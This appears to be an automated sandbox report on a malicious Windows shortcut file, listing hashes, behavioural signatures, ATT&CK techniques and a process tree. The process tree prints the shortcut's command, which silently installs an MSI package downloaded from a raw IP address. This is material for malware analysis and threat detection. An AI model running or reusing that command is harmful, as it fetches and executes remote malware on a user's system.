fb48b9102388620bb02d1a47297ba101f755632f9a421d09e9ab419cbeb65db8

Analysis

max time kernel
60s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2023, 02:45

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General

Target

baff93a9574ff019ad8a1cff0b712d6f.lnk
Size

2KB
MD5

baff93a9574ff019ad8a1cff0b712d6f
SHA1

bf927b871abbc068b7030e0e7b79797fa7bce59d
SHA256

fb48b9102388620bb02d1a47297ba101f755632f9a421d09e9ab419cbeb65db8
SHA512

37c94879618003ef04c96c3e63f37f91a80393bdf220a7e6522a7f5a4cd46badc6542499c916d0a348c453125377ae9698d392ee2c79162da89e629f8ac95e2a

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2068	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	cmd.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4688	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4688	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4688	msiexec.exe
Token: SeSecurityPrivilege	2068	msiexec.exe
Token: SeCreateTokenPrivilege	4688	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4688	msiexec.exe
Token: SeLockMemoryPrivilege	4688	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4688	msiexec.exe
Token: SeMachineAccountPrivilege	4688	msiexec.exe
Token: SeTcbPrivilege	4688	msiexec.exe
Token: SeSecurityPrivilege	4688	msiexec.exe
Token: SeTakeOwnershipPrivilege	4688	msiexec.exe
Token: SeLoadDriverPrivilege	4688	msiexec.exe
Token: SeSystemProfilePrivilege	4688	msiexec.exe
Token: SeSystemtimePrivilege	4688	msiexec.exe
Token: SeProfSingleProcessPrivilege	4688	msiexec.exe
Token: SeIncBasePriorityPrivilege	4688	msiexec.exe
Token: SeCreatePagefilePrivilege	4688	msiexec.exe
Token: SeCreatePermanentPrivilege	4688	msiexec.exe
Token: SeBackupPrivilege	4688	msiexec.exe
Token: SeRestorePrivilege	4688	msiexec.exe
Token: SeShutdownPrivilege	4688	msiexec.exe
Token: SeDebugPrivilege	4688	msiexec.exe
Token: SeAuditPrivilege	4688	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4688	msiexec.exe
Token: SeChangeNotifyPrivilege	4688	msiexec.exe
Token: SeRemoteShutdownPrivilege	4688	msiexec.exe
Token: SeUndockPrivilege	4688	msiexec.exe
Token: SeSyncAgentPrivilege	4688	msiexec.exe
Token: SeEnableDelegationPrivilege	4688	msiexec.exe
Token: SeManageVolumePrivilege	4688	msiexec.exe
Token: SeImpersonatePrivilege	4688	msiexec.exe
Token: SeCreateGlobalPrivilege	4688	msiexec.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 616 wrote to memory of 4688	616	cmd.exe	85
PID 616 wrote to memory of 4688	616	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\baff93a9574ff019ad8a1cff0b712d6f.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:616
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i http://185.166.217.184/JDXFHUIPGYN98P5GY87S43BF5TW4IYNP/attachment.msi /quiet
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious use of AdjustPrivilegeToken
  PID:4688

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:2068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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